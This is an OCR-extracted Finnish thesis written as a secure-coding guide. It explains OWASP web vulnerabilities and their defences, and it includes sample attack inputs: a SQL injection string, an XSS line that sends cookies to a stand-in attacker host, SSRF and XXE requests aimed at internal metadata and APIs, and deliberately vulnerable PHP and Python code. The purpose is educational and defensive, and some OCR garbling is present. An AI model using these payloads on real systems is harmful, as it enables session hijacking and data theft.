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Abstract

The goal of thesis was to create a guide for software developers about building secure software. The thesis
was constructed by gathering all relevant information that every developer should know about security in
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bilities and covers basics of cryptography.
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1 Johdanto

Tietoturva on ollut ensimmaisten ohjelmistojen valmistuksesta lahtien merkittava seikka, jonka
merkitys on korostunut tietokoneiden ja ohjelmistojen tullessa kuluttajien saataville. Nykypaivana
lahes kaikki kaytossa olevat elektroniset laitteet ovat joko prosessori- tai mikroprosessoriohjattuja,
mika tarkoittaa, etta ne suorittavat konekielisia ohjeita eli ohjelmakoodia. Teknologian kehittdjille
tdma mahdollistaa lukemattomia mahdollisuuksia analogisiin laitteisiin verrattuna, mutta myos
mahdollistaa haavoittuvuuksien hydodyntamisen taysin uudella tasolla. Haavoittuvuudella tarkoite-
taan ohjelmointivirhettd, joka mahdollistaa sovelluksen tai tietojarjestelman vaarinkdyton. Kyber-
rikollisuuden aiheuttamat vahingot yrityksille, yksityishenkil6ille ja valtioille kohosivat kolmeen tril-
joonaan Yhdysvaltojen dollariin vuonna 2015, ja luku kasvaa jatkuvasti. (Morgan 2020.)
Ohjelmistoturvallisuudesta huolehtimalla voidaan siis suoraan vahentaa taloudellisia tappioita

seka suojata ihmisten yksityisyytta ja turvallisuutta kokonaisuudessaan.

Opinnadytetydssa kaydaan lapi yleisimmat tietoturvauhat erilaisissa ohjelmistoissa ja laitteissa, ku-
ten verkkosovelluksissa, mobiilisovelluksissa ja -laitteissa seka sulautetuissa jarjestelmissa, ja erilai-
sia menetelmia, joilla ohjelmistokehittdja voi ratkaisuissaan torjua naita uhkia. Tydssa ei syvennyta
minkaan yksittaisen ohjelmiston yksittdiseen ohjelmointivirheeseen, joka on aiheuttanut haavoit-
tuvuuden, vaan pyritdan antamaan lukijalle ymmarrys siitd mihin kyseinen haavoittuvuus perus-
tuu, jotta lukija ymmartaisi kuinka voi itse valttya tekemastd samaa virhetta. Tyon lopussa kasitel-
ladn myods kryptografian perusteita osana modernia tietojen luottamuksellisuuden ja eheyden
suojaamista. Tyon tarkoituksena on myos auttaa lukijaa ymmartamaan hyokkadjien “out of the
box”-ajattelutapaa ja antaa nain lukijalle myos valmiudet arvioida itse sisaltdako hanen koodinsa
mahdollisesti muita, harvinaisempia haavoittuvuuksia. Tydssa kasiteltavat aiheet on luokiteltu
verkko- ja mobiilisovellusten seka sulautettujen jarjestelmien haavoittuvuuksiin niiden esiintymi-
sen perusteella, mutta tietyissa tapauksissa sama haavoittuvuus voi esiintyd myos usealla eri osa-
alueella. Esimerkiksi mobiilisovellukset ovat usein riippuvaisia palvelinpuolestaan, jolloin verkko-
sovellusten haavoittuvuudet koskevat rajoitetusti myos mobiilisovelluksia. Tasta voidaan vetaa
johtopaatos, etta tietoturva on yhta vahva kuin sen heikoin lenkki, siksi jokaiseen aihealueeseen

perehtyminen on tarkeda ohjelmistokehittdjan erikoistumisalasta riippumatta. Lukijalta ei odoteta



syvallistd kokemusta ohjelmoinnista, mutta se auttaa ymmartamaan tyodssa kasiteltavat asiat pa-
remmin. Tyo on suunnattu ammatikseen ohjelmointia harjoittaville seka ohjelmoinnin opiskeli-

joille. Ty6 soveltuu esimerkiksi oheismateriaaliksi ohjelmistoturvallisuuden henkiléstékoulutuksiin.



2 Tutkimusmenetelmat

2.1 Tutkimuskysymys

Tutkimuksen tarkoituksena on selvittaa, miten erilaisia ohjelmistoja voidaan luoda tietoturvalli-
sesti, eli mitka asiat ohjelmistokehittdjan on otettava huomioon modernien ohjelmistojen kehitys-
prosessissa, jotta valmiin tuotantoversion haavoittuvuudet voitaisiin minimoida. Taman tyon tutki-
muskysymys on siis: Mitd tietoturvallisessa ohjelmistokehityksessé on huomioitava?
Tutkimuskysymys painottuu siis erilaisten haavoittuvuuksien tunnistamiseen ja ymmartamiseen,

seka torjuntamenetelmien soveltamiseen.

2.2 Tutkimusmetodologia

Tutkimusmetodologiat jakautuvat paaasiassa kahteen ryhmaan: kvantitatiiviseen eli maaralliseen
tutkimukseen ja kvalitatiiviseen eli laadulliseen tutkimukseen. Kvalitatiivinen eli laadullinen tutki-
mus tarkoittaa ei-numeerisen tiedon kerdamistad aiheen ymmartamiseksi. Kvalitatiivisella tutkimus-
menetelmalla pyritdan saamaan syventava nakemys tutkittavaan ongelmaan. Kvalitatiivisessa tut-
kimusmenetelmassa tutkija tekee itse havaintoja ja pyrkii ymmartamaan niita, tilastollisen tiedon
kerddmisen sijaan. (Bhandari 2020.) Kvantitatiivinen eli maarallinen tutkimus tarkoittaa numeeri-
sen tilastotiedon kerdamista erilaisten aiheeseen liittyvien ilmididen ymmartamiseksi. Kerattya tie-
toa voidaan kayttaa esimerkiksi yhdistelmien ja keskiarvojen selvittamiseen seka erilaisten ennus-
teiden tekemiseen ja teorian vahvistamiseen. Kvantitatiivisessa tutkimusmenetelmassa tutkija

tekee siis johtopaatoksia tilastotiedosta. (Bhandari 2020.)

2.3 Valittu tutkimusmenetelma

Ohjelmistoturvallisuuden ongelmat voidaan ratkaista vain perehtymalla kuhunkin aiheeseen riitta-
van syvallisesti, mikd tukee kvalitatiivisen menetelman valitsemista. Tietty maara tilastollista tietoa
on kuitenkin valttamatonta tuoda esiin tutkimuksen aikana, jotta erilaiset tietoturvaongelmat voi-

daan priorisoida. Tyon on tarkoitus toimia ohjeena ohjelmistokehittdjille, ja parhaaksi tutkimusme-
netelmaksi katsottiin konstruktiivinen tutkimus, joka on yksi laadullisen tutkimuksen menetel-

mistd. Konstruktiivisessa tutkimuksessa pyritaan ratkaisemaan reaalimaailman ongelmia ja siten
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kehittamaan kyseista tieteenalaa eteenpdin. Konstruktiivisessa tutkimuksessa analysoidaan saata-
villa olevaa tietoa ja kehitetaan ns. konstruktio, eli ratkaisu ongelmaan. (Lukka 2001.) Konstruktii-
visessa tutkimuksessa tarkeda on riittdavan lahdeaineiston saatavuus, muuten riskina on objektiivi-
suuden puute. Esimerkkeja teoreettisesta konstruktiosta ovat matemaattiset mallit ja algoritmit
(Lukka 2001). Tassa tyodssa syntyva konstruktio on ohje turvallisten ohjelmistojen kehitykseen. Tut-
kimuksessa oli kdytossa useita eri puolueettomia tietokantoja, kuten IEEE:n (Institute of Electrical
and Electronics Engineers) yllapitama Xplore-tietokanta. Objektiivisuuden varmistamiseksi lahtei-
den sisdltamaa tietoa vertailtiin muihin Iahteisiin kattavasti. Tyossa kasiteltavat aiheet valittiin ke-
hittajayhteison ajankohtaisimpien keskustelunaiheiden perusteella, tassa kaytettiin lahteena mm.
OWASP:ia, organisaatiota, joka julkaisee vuosittain kymmenen merkittavimman haavoittuvuuden
listan erikseen verkkosovelluksille, mobiilisovelluksille ja sulautetuille jarjestelmille. Tyossa kasitel-

tavat aiheet on pitkalti valittu naita listoja hyddyntaen.

2.4 Aineiston keraaminen

TyOssa kaytettavaa aineistoa keratessa kiinnitettiin erityista huomiota Idhteiden luotettavuuteen.
Lahteina kaytettiin padasiassa tietoturva-alan yritysten ja asiantuntijoiden artikkeleita ja verkkojul-

kaisuja. Aineistolle asetettiin seuraavat kriteerit:

e Aineiston julkaisusta saa olla kulunut enintddan kymmenen vuotta aikaa

e Aineisto on saatavilla sdhkoisessa muodossa

e Aineisto on kirjoitettu suomeksi tai englanniksi

e Aineisto on kyberturvallisuusalan asiantuntijan ja/tai asiantuntijaorganisaation julkaisema

Lahteina kaytettavaa aineistoa on haettu mm. IEEE Xplore-tietokannasta. Hakusanoina on kdytetty
haavoittuvuuksien nimia. Tutkimuksessa havaittiin kuitenkin, etta suurin osa uusimmasta olennai-
sesta tiedosta on saatavilla avoimessa verkossa julkaistuissa asiantuntijaorganisaatioiden artikke-
leissa, joten tyossa on hyodynnetty paddasiassa naita lahteita. Avoin paasy lahteisiin myos helpot-

taa tutkimuksen vertaisarviointia.
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2.5 Tutkimuseettinen tarkastelu

Ty6ssa noudatetaan Jyvaskylan ammattikorkeakoulun eettisia periaatteita (JAMK n.d.). Tydssa ei
loukata tekijanoikeuksia. Alkuperaisiin teoksiin viitataan JAMK:in raportointiohjeen mukaisesti ja
tydssa kaytetaan lisensoituja ohjelmistoja. Tyossa ei kasitelld salassa pidettavia tietoja, ja kaikki
esiteltavat haavoittuvuudet seka tyokalut on julkistettu aikaisemmissa tutkimuksissa, joten erillista
tutkimuslupaa ei tarvittu. Tyossa kasiteltavat tiedot perustuvat avoimiin tietolahteisiin, joten hen-

kiloiden henkilokohtaisia tietoja tai vaarinkdayton mahdollistavia tietoja ei tassa tyossa kasitella.

2.6 Aiemmat tutkimukset

Tietoturvasta on tehty ja julkaistu lukemattomia artikkeleita, tutkimuspapereita ja opinnaytetoita,

kuten seuraavat:

e Secure Coding Practices in Java: Challanges and Vulnerabilities (Meng, Nagy, Yao, Zhuang & Arango-
Argoty 2018)

e Tietoturva dynaamisella verkkosivustolla (Kroger 2021)

e Tietoturvan ennakointi tuotekehityksessa (Kannus 2020)

Useimmat tutkimukset ja artikkelit kuitenkin syventyvat johonkin tiettyyn tietoturvaongelmaan,
jolloin kokonaisuuden hahmottaminen ja riittavan tiedon keraaminen muista haavoittuvuuksista
jaa lukijan vastuulle. Tassa opinndytetydssa pyritaan antamaan lukijalle perustason ymmarrys ja
kattava kokonaiskuva kaikista ajankohtaisista haavoittuvuuksista, joista ohjelmistokehittdjan on

syyta olla tietoinen.

Kasiteltavat aiheet valittiin juuri ajankohtaisuuden ja esiintyvyyden perusteella. Tata valintaa teh-
dessa lahteena kdytettiin mm. OWASP:ia (Open Web Application Security Project) joka on yksi
merkittavimpia toimijoita erityisesti verkkosovellusten tietoturvan tutkimuksessa. Kyseessa on
voittoa tavoittelematon jarjesto, joka tutkii verkkosovellusten haavoittuvuuksia ja julkaisee vuosit-
tain listan ajankohtaisista haavoittuvuuksista. Tassa tyossa kasiteltavat haavoittuvuudet 10ytyvat
kaikki OWASP Top Ten-listalta, johon on listattu kymmenen merkittavinta haavoittuvuutta.
(OWASP 2021.) Tyossa annetaan kaytdnnon esimerkki useimmista kasiteltavista aiheista ja kay-

daan myos lapi hieman harvinaisempia haavoittuvuuksia, ja ehdotetaan erilaisia ratkaisuja. Tyon
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uutuusarvo aiempiin tutkimuksiin ja yksittaisiin artikkeleihin verrattuna korostuu tyon monipuoli-

suudessa.

3 Verkkosovellusten haavoittuvuuksista

3.1 Verkkosovelluksen maaritelma

Verkkosovelluksella tarkoitetaan tietokoneohjelmaa, joka noudattaa ns. asiakas-palvelin arkkiteh-
tuuria, eli sovelluksella on asiakaspaan selainpuoli (engl. client-side) ja palvelinpuoli (engl. server-
side). Tiedonsiirtoon asiakaspuolen ja palvelinpuolen valilld kdytetaan tietoverkkoa kuten globaalia
Internetia tai esimerkiksi yhtion sisdista verkkoa eli intranetia. Olennaisin seikka verkkosovelluksen
maaritelmdassa on, etta selainpuoli kommunikoi palvelimen kanssa eika tiedon prosessointi siis ta-
pahdu pelkastaan kayttdjan tietokoneella. (Indeed Editorial Team, 2021.) Verkkosovellusten haa-
voittuvuuksista erityisen kriittisia tekee se seikka, etta useimmat verkkosovellukset ovat jatkuvasti
yhteydessa julkiseen verkkoon eli Internetiin, joka mahdollistaa erilaiset automaatiohydkkaykset
mista pain maailmaa tahansa, toisin kuin esimerkiksi langattomien lahiverkkojen tapauksissa,
joissa hyokkaajan on oltava lahietdisyydelld tukiasemaan. Yhteenvetona voidaan todeta, etta
hyokkayksia verkkosovelluksia vastaan ei voi kokonaan estda tapahtumasta, ne voidaan ainoastaan

torjua.

3.2 SAQLl injektiot

Verkkosovellusten palvelinpuolen tyypillinen komponentti on tietokanta. Erityisen yleisia nykypai-
van verkkosovelluksissa ovat relaatiotietokannat, joita kdytetdaan SQL-kielelld (Structured Query
Language). SQL on nimensa mukaisesti “kyselykieli” eli sita kdytetdan tiedon hakemiseen tietokan-
nasta. SQL-lauseiden kirjoittaminen on osa verkkosovelluksen palvelinpuolen ohjelmointia. Usei-
den verkkosovellusten toiminnan kannalta on valttamatonta, ettad sovellukset ottavat vastaan
kayttajalta erilaisia syotteitd, jotka tallennetaan tietokantaan tai joita kdytetdan ehtona tiedon ha-
kemiseen tietokannasta, tai aikaisemmin tallennettujen tietojen muuttamiseen. (Heller 2019.) Tal-
lainen verkkosovellus voisi olla esimerkiksi verkkokauppa. Asiakkaan antamat tilaustiedot on pys-
tyttava tallentamaan tietokantaan, jotta séhkdinen kaupankaynti voi kdytannossa toimia. Tama
tarkoittaa sita, etta selainpuolen antama syote taytyy palvelinpuolella liittda osaksi SQL-kyselya,

jotta tietokantapalvelin voi tallentaa syotteen. Ongelma muodostuu, mikali tdma liittdminen teh-
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daan vaarin. Palvelinpuoli odottaa kayttajalta syotteeksi dataa, kuten nimia, osoitteita ja puhelin-
numeroja, mutta ei SQL-lauseita. Jos kayttdja kuitenkin antaa syotteena SQL-lauseiden avainsa-
noja, nama liitetaan osaksi kyselya eika tietokantapalvelin osaa erottaa hyokkaajan kirjoittamaa
osaa SQL-lauseesta, vaan suorittaa sen osana tietokantakyselyd. Tdma johtaa kdytdanndssa siihen,
etta hyokkaaja voi suorittaa kohteena olevassa tietokannassa mielivaltaisen kyselyn. Tata haavoit-

tuvuutta kutsutaan SQL injektioksi. (Walkowski 2019.)

Havainnollistetaan haavoittuvuutta esimerkkikoodin avulla. Alla oleva PHP-koodi (Kuvio 1) on haa-

voittuvainen SQL injektiolle.

$conn = new mysqli($servername, $username, $password, $dbname);
$name = $_POST["name"];

$sql = "INSERT INTO Customers VALUES ($name)";
$conn->query($sql)

Kuvio 1. SQL injektiolle haavoittuvainen PHP-koodi

Tarkastellaan yllaolevaa koodia rivi kerrallaan. Ensimmainen ja viimeinen rivi ovat osa jokaista
PHP-ohjelmaa. Rivilla 2 muodostetaan yhteys SQL-tietokantapalvelimeen ja valitaan kdytettavan
tietokannan nimi. Rivilla 3 otetaan vastaan kayttdjan selainpuolen lahettaman HTTP POST-pyynnoén
data, ja tallennetaan se muuttujaan. Rivilla 4 muodostetaan SQL-kysely, johon liitetdaan kayttajan
antama data. Rivilla 5 kysely |ahetetaan tietokantapalvelimelle. Varsinainen haavoittuvuus
sijaitsee rivilla 4, silla kayttdjan antama data liitetddn suoraan osaksi SQL-kyselya ilman
minkaanlaista syotteen validointia. Jos siis kayttdja antaa sy6tteena nimensa sijasta SQL-lauseen,
se suoritetaan tietokantapalvelimessa verkkosovelluksen oikeuksin. Hyokkaaja voi kayttaa

haavoittuvuuden hyddyntamiseen esimerkiksi seuraavaa syotetta (Kuvio 2):

John Doe; UNION SELECT Password FROM Users

Kuvio 2. SQL-injektiohydkkaykseen soveltuva syote
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Ylldolevan syotteen lahettdminen HTTP POST-pyynndn datana kuvan 1 koodia suorittavalle palveli-
melle saa aikaan sen, etta henkild nimeltd "John Doe” lisataan tietokantaan Customers-tauluun,
mutta sama kysely palauttaa Users-taulun Password-sarakkeen kaikki arvot, eli kayttdjien salasa-
nat, jotka ovat useimmiten tiivistemuodossa. SQL-injektiohaavoittuvuuden torjumiseen on useita
menetelmia, joista yksi on kayttajalta saadun syotteen erottaminen SQL-lauseen komennoista esi-
merkiksi PHP:n mysql_real_escape_string() funktion avulla. Talloin tietokantapalvelin kohtelee
kayttajalta saatua syotetta datana, ei komentoina. Toinen menetelma on sy6tteen suodatus, jossa
SQL-avainsanat suodatetaan syotteesta pois. Jos kayttadjalta pyydetty syote on esimerkiksi hanen
puhelinnumeronsa, ei ole perusteita sallia muunlaista syotetta kuin numeroita. (Rubens 2021.)
Kaytanndssa tehokkain tapa SQL injektioiden torjumiseen on sellaisten ohjelmointikirjastojen ja -
kehysten kdyttaminen, joihin on toteutettu sisdanrakennettu suojaus SQL injektioita vastaan
edelld mainittuja menetelmia hyédyntden, ja joiden toteutus on asiantuntijoiden toimesta tarkas-

tettu. Tallaisia ovat esimerkiksi Django, Entity Framework ja Ruby on Rails. (Boyer 2018.)

3.3 Cross-Site Scripting (XSS)

Cross-site scripting, josta kdaytetaan lyhennetta XSS, on yksi yleisimmista verkkosovellusten haa-
voittuvuuksista. XSS mahdollistaa hyokkaajan koodin (tyypillisesti JavaScriptin) suorittamisen kayt-
tajan selaimessa. XSS hyokkayksen kohteena on siis verkkosovelluksen asiakaspuoli eli selainpuoli.
Haavoittuvuus aiheutuu kadyttajan antaman syotteen puutteellisen validoinnin seurauksena. Tyy-
pillinen esimerkki haavoittuvuudesta on verkkosivuston kommentointikenttd. Tama kentta ottaa
vastaan kayttajalta syotettad, syote tallennetaan tietokantaan ja ndytetaan automaattisesti jokai-
selle kayttajalle, joka kay kyseisen verkkosivuston kommentointipalstalla. Mikali syotteen vali-
dointi laiminlyodaan, hyokkaaja voi kirjoittaa kommenttikenttaan tekstin sijasta JavaScript-koodia,
joka suoritetaan kaikkien kayttajien selaimissa, jotka kayvat kyseisella sivulla. Tata hyokkdaysmene-
telmaa voidaan kayttaa esimerkiksi session kaappaamiseen eli sessiotunnisteiden varastamiseen,
selaimen uudelleenohjaukseen ja moniin muihin tarkoituksiin. Hyokkays ei kuitenkaan valttamatta
edellytd mahdollisuutta tallentaa hyokkayskoodi tietokantaan. Hyokkayskoodi voidaan myos upot-
taa linkkiin, jolloin linkin avaavan kayttdjan selain syottaa koodin itse esimerkiksi hakukenttaan, ja
verkkosivun nayttdessd haun tulokset kayttajalle kayttdjan selain suorittaa haitallisen koodin.
(Walkowski 2020.) Seuraavaa koodia (Kuvio 3) voidaan kayttaa session kaappaamiseen XSS-

hyokkayksella (Security SE 2014).
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document.location="http://hackerserver.com/index.php?cookie="+document.cookie;

ript

Kuvio 3. XSS hyokkayskoodi

Ylla olevan koodin suorittaminen kayttajan selaimessa aiheuttaa evasteiden lahettamisen HTTP
GET-pyyntona hyokkaajan palvelimelle. Useat verkkosovellukset kadyttavat evasteiden sisaltamaa
tietoa sessiotunnisteena, joten evasteiden kaappaus tekee session kaappauksesta mahdollista. XSS
haavoittuvuuden torjuminen edellyttaa, etta kayttdjan antama syote kasitelldan palvelinpuolella
siten, ettei selain voi tulkita syotetta HTML-dataksi. Kdayttdajan antaman syotteen validointi on siis
olennaisinta XSS haavoittuvuuden torjumisessa. (Yusof & Pathan 2016.) Vastaava kasittely taytyy
tehda myos selainpuolella linkkiin upotetun XSS:n estdamiseksi. Toisin sanoen kayttajan antama
syote on koodattava muotoon, jossa selain kohtelee sita tekstina, ei HTML-elementteind. Varmin
ja turvallisin tapa tassakin tapauksessa on asiantuntijoiden vahvistamien ohjelmointikirjastojen

kaytto. Esimerkiksi PHP-ohjelmointikielelle on saatavilla seuraavat kirjastot. (Sengupta 2021.)

e HTML purifier
e PHP Anti-XSS
e htmlLawed

3.4 Cross-Site Request Forgery (CSRF)

Edellisessa luvussa naytettiin esimerkki session kaappauksesta XSS-hyokkayksen avulla. Koodin
suorittaminen kayttdjan selaimessa ei kuitenkaan ole tarpeen, mikali verkkosovellusta ei ole suo-
jattu vadrennettyja HTTP pyynt6ja vastaan. Hyokkdaysmenetelmassa, josta kdytetdan lyhennetta
CSRF, huijataan kadyttaja [ahettamaan pyynto verkkosovelluksen palvelimelle, jolle han on kirjautu-
nut. Tyypillisesti tama tehdaan naamioimalla haitallisen pyynnon sisaltava linkki siten, ettei kayt-
taja ymmarra linkin sisaltoa ja avaa linkin. Talloin suojaamattoman verkkosovelluksen nakokul-
masta pyynto on peraisin kayttdjan selaimesta ja pyyntdon on liitetty kayttdjan sessiotunniste,
minka selain tekee automaattisesti. HTTP GET pyynto, jolla siirretdan rahaa 10 euroa kuvitteelli-

selta pankkitililtd toiselle (Kuvio 4) voisi nayttda esimerkiksi seuraavalta. (Kaczanowski 2021.)
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http://bank.com/transfer?recipient=Bob&amount=10

Kuvio 4. HTTP pyynto rahan siirtoon

Kuviossa 5 esitetddn, miten ylldolevaa pyyntoa voidaan muokata CSRF-hyokkaykseen (Kaczanowski

2021).

http://bank.com/transfer?recipient=Hacker&amount=1000000

Kuvio 5. HTTP pyynto CSRF-hyokkaykseen

CSRF-hyokkayksilta voidaan suojautua kayttamalla palvelinpuolen ohjelmistokehyksia, joissa on
sisddnrakennettu suojaus taman tyyppisia hyokkayksia vastaan, kuten Microsoftin .NET. Mikali si-
saanrakennettua suojausta ei ole, voidaan soveltaa ns. Anti-CSRF tunnisteita. Tallainen tunniste
lahetetaan vastauksena jokaiseen pyyntoon kayttdjan selaimelle, ja palvelinpuoli jda odottamaan
vastausta selaimelta ennen pyynnon hyvaksymista. Mikali selain vastaa lahettamalla saman tunnis-

teen takaisin, ei kyseessa ole CSRF-hyokkays, joten pyynto voidaan hyvaksya. (Kaczanowski 2021.)

3.5 Server-Side Request Forgery (SSRF)

Tietyissa tapauksissa kayttajalla on mahdollisuus saada verkkosovellus lataamaan tietoa ulkopuoli-
sista lahteista. Tallainen voi olla esimerkiksi sovellus, joka tarjoaa mahdollisuuden Youtube-videon
upottamiseen. Talloin kayttdja antaa syotteena URL-osoitteen, johon sovelluksen palvelinpuoli 13-
hettdd HTTP pyynnon. Mikali kayttajan syotteend antaman URL-osoitteen validointi laiminly6daan,
mahdollistaa tama hydkkayksen, josta kdytetdaan lyhennetta SSRF. Talloin verkkosovelluksen palve-
linpuoli lataa tietoa hyokkaajan maarittelemasta lahteestad, kuten esimerkiksi verkkosovelluksen
kanssa samassa sisdverkossa olevasta rajapinnasta. Tama antaa hyokkaajalle mahdollisuuden kier-
tda verkkotason suojaukset. (Muscat 2022.) Usein esimerkiksi tietokantapalvelin konfiguroidaan
siten, ettei kenellekdan ole paasya palvelimelle suoraan Internetistd, vaan palvelimen kaytto vaatii
padsya sisaverkkoon eli esimerkiksi VPN-yhteyttd. SSRF-hyokkaykselld tama voidaan kiertaa. Seu-

raava koodi (Kuvio 6) on haavoittuvainen SSRF-hyokkaykselle (Muscat 2022).
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$url = $ GET["url'];

$image = fopen($url, 'rb');

Kuvio 6. SSRF-hyokkaykselle haavoittuvainen koodi

Yll3 olevassa koodissa vastaanotetaan URL-osoite HTTP GET-pyynnon parametrina. Taman jalkeen
kyseisesta URL-osoitteesta ladataan dataa, mika oletetaan kuvatiedostoksi. Hyokkaajalla on kui-
tenkin taysi mahdollisuus paattad URL-osoitteen sisallosta, joten esimerkiksi seuraavalla pyynnolla
(Kuvio 7) hyokkaaja saa haltuunsa palvelimen kanssa samassa sisaverkossa olevan AWS EC2-

virtuaalikoneen metadatan (Muscat 2022).

/?2url=http://169.254.169.254/1latest/meta-data/

Kuvio 7. SSRF-hyokkaykseen soveltuva HTTP pyynto

Verkkosovelluksen palvelinpuoli ei voi siis olettaa, etta kayttdjan antamat URL-osoitteet ovat luo-
tettavia. Tehokkain menetelma SSRF-hyokkayksen torjumiseen on palvelimen palomuurin konfigu-
roiminen ns. “white list” periaatteella. Toisin sanoen palomuurille maaritetaan ennalta mihin
osoitteisiin palvelimen sallitaan lahettaa pyynt6ja, jolloin luvattomat pyynnot estetaan. (Muscat

2022.)

3.6 XML External Entity Attack (XXE)

Useiden verkkosovellusten rajapinnat hyvaksyvat selainpuolelta saatavan syotteen tyypillisesti
joko JSON (JavaScript Object Notation) tai XML (Extensible Markup Language) muodossa. XML on
tapa esittaa strukturoitua dataa. XML ja JSON ovat molemmat dataformaatteja tiedonsiirtoa ja va-
rastointia varten, ja niiden sisaltdman datan lukeminen on koneelle helppoa. XML-protokolla sisal-
taa kuitenkin ominaisuuden, jolla tietoja voidaan tarvittaessa hakea ulkopuolisista lahteistd, esi-

merkiksi tiedostoista tai muista rajapinnoista. XML syotteen kasitteleva komponentti (XML parser)
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tulee konfiguroida siten, ettei ulkopuolisten resurssien kayttda sallita. Muussa tapauksessa hyok-
kdajan on mahdollista esimerkiksi tarkastella palvelimella sijaitsevien tiedostojen sisaltoad seka suo-
rittaa SSRF-hyokkayksia eli pyyntdja muille rajapinnoille. Tama haavoittuvuus mahdollistaa tie-
tyissa tapauksissa myos palvelunestohyokkaykset eli hyokkaykset, jotka perustuvat kohteena
olevan palvelimen ruuhkauttamiseen. (Selenius 2021.) Seuraavassa kuviossa (Kuvio 8) on esimerkki

XML-syotteestd, jollaista pizzatilauksia vastaanottava rajapinta voisi hyvaksya (Selenius 2021).

<!DOCTYPE pizza[
<!ENTITY toppingl "Mozzarella"»

<!ENTITY topping2 "Salami”>»

gx&toppingl;</ftop
g>&topping2;</topp

Kuvio 8. Esimerkki XML syotteesta.

Tassa esimerkissa syote on annettu rajapinnan odottamalla tavalla, eli kovakoodattuna, mutta esi-
merkiksi seuraava XML-data (Kuvio 9) ohjeistaa XML-tulkkia hakemaan tiedot ulkopuolisesta ldh-

teestd, mika on samalla yksi SSRF-hyokkayksen muoto (Selenius 2021).
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<!DOCTYPE pizza[
<!ENTITY toppingl “"Mozzarella"»
<!ENTITY topping2 SYSTEM "http://secret-internal-api.localfadmin/all-the-sensitive-things/">

g>&toppingl;</topping>
g»&topping2;</topping>

<ftoppings>

Kuvio 9. XXE-injektioon soveltuva koodi

Yll3 olevassa esimerkissa toinen rajapinnan odottamista parametreista annetaan suoraan, toinen
neuvotaan hakemaan toisesta samassa sisdverkossa sijaitsevasta rajapinnasta, jonka kutsuminen
on estetty sisaverkon ulkopuolelta. Rajapinnat tyypillisesti palauttavat parametrina saamansa tie-
dot vastauksen mukana, jolloin hyokkaaja saa haltuunsa salaisen rajapinnan vastauksen. Samalla
periaatteella voidaan myos hakea tietoja palvelimella sijaitsevista tiedostoista. XXE-injektioilta voi-

daan suojautua muun muassa seuraavilla kdaytannailla. (Selenius 2021.)

e Kayttamalla XML-datan kasittelyyn hyvin tunnettuja ohjelmointikirjastoja, jotka huomioivat
tietoturvan.

e Konfiguroimalla XML-datan kasittelykirjasto siten, etta ulkopuoliset tietoldhteet (external
entities) on estetty

e Kayttamalla verkkosovelluksille suunniteltua palomuuria (WAF)

3.7 Insecure Deserialization

Edellisessa luvussa mainittiin yleisimmat tiedonsiirtoon kaytettavat dataformaatit JSON ja XML.
JSON- tai XML-tietorakenteen muodostamisprosessista kaytetaan englannin kielessa nimitysta ”se-
rialization”. Kun selainpuolelta saatu data vastaanotetaan palvelinpuolella, se taytyy kuitenkin

muuttaa takaisin ns. objektimuotoon, jotta dataa voidaan kasitella ohjelmointikielella. Mikali tama
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"datan lataaminen” tehddan noudattamatta erityista varovaisuutta, antaa tama hyokkaajalle mah-
dollisuuden suorittaa koodia kohteena olevassa palvelimessa. (Thoma 2021.) Seuraava Python-

koodi (Kuvio 10) on haavoittuvainen (Acunetix 2017).

import yaml

with open{ 'malicicus.yml') as yaml file:

contents = yaml.load(yaml file)

Kuvio 10. Insecure Deserialization, haavoittuvainen tiedon kasittely

Ylla olevassa koodissa YAML-formaattia noudattava tiedosto avataan, ja tiedoston sisaltamat tie-
dot ladataan muuttujaan "contents”. Tiedetaan kuitenkin, ettei kdytettava PyYAML-kirjasto sisalla
suojausta tata haavoittuvuutta vastaan, joten hyokkaaja voi esimerkiksi syottamalla seuraavan
YAML-tiedoston (Kuvio 11) paasta kasiksi Linux-jarjestelman tiivistemuodossa oleviin salasanoihin

(Thoma 2021).

Kuvio 11. Insecure Deserialization hyokkayskoodi

Hyokkaajan on siis mahdollista antaa tietojen kasittelijalle erilaisia argumentteja, kuten jarjestel-
man komentoriviltd suoritettavat komennot. Taltd haavoittuvuudelta voidaan parhaiten suojautua
konfiguroimalla verkkosovelluksen palvelinpuoli minimaalisilla kdyttdoikeuksilla. Useimmiten so-
vellus ei tarvitse toimiakseen esimerkiksi palvelimen kayttojarjestelman komentorivin kdyttooi-

keutta, joten se voidaan estda. (Thoma 2021.)
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3.8 Palvelinohjelmiston haavoittuvuudet

Verkkosovellus tarvitsee yleensa toimiakseen palvelinpuolella kayttéjarjestelman lisaksi myds pal-
velinohjelmiston, jollaisia ovat esimerkiksi Apache ja IIS. Palvelinohjelmisto kasittelee mm. kaytta-
jalta tulevat HTTP-pyynnot suorittamalla kayttajan pyytaman tiedoston koodin ja lahettamalla
kayttajalle koodin palauttaman vastauksen. Tietyissa tapauksissa palvelinpuolen ohjelmisto kuten
myos kayttojarjestelma voi sisaltaa haavoittuvuuksia, jotka mahdollistavat hyokkayksen sovellusta
vastaan. Esimerkiksi Apache versiossa 2.4.7 havaittiin vuonna 2021 haavoittuvuus, joka sai tunnis-
teen CVE-2021-41773. Kyseinen haavoittuvuus mahdollisti tiedostojen pyytamisen Apachen ase-
tuksissa sallittujen kansioiden ulkopuolelta. (NIST 2021.) Nama alustariippuvaiset haavoittuvuudet
eivat usein ole sovelluksen kehittdjan hallittavissa, vaan ennemminkin yllapitajan, silla niiden tor-
junta on mahdollista vain huolehtimalla palvelimen kaikkien komponenttien paivityksesta. Kehitta-
jan tulee kuitenkin olla tietoinen siita, ettei hanen lahdekoodinsa valttamatta ole koko ratkaisun

heikoin lenkki.
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4 Mobiililaitteiden- ja sovellusten haavoittuvuuksista

4.1 Mobiililaitteen maaritelma

Mobiililaitteella tarkoitetaan yleensa tietokonetta, joka on riittdvan pieni kadessa pideltavaksi.
Teknisesta nakokulmasta olennaisimmat erot ovat kuitenkin komponenteissa, joita poytatietoko-
neissa nahdaan harvemmin. Mobiililaitteissa on tyypillisesti langattomaan tiedonsiirtoon soveltu-
via ominaisuuksia kuten Wi-Fi, Bluetooth, GPS ja NFC. Mohbiililaitteiden yleisimmat kayttojarjestel-
mat ovat Android ja iOS. (Viswanathan 2021.) Tassa luvussa kdydaan lapi haavoittuvuuksia ja
hyokkaysmenetelmia, jotka hyodyntavat nimenomaan mobiililaitteiden kayttojarjestelmien omi-

naisuuksia.

4.2 Improper Platform Usage

Alustan vaarinkaytto (engl. Improper Platform Usage) tarkoittaa tassa kontekstissa mobiililaitteen
kayttojarjestelman ominaisuuksien epaonnistunutta tai puutteellista kayttoa. Alustan vaarinkayt-
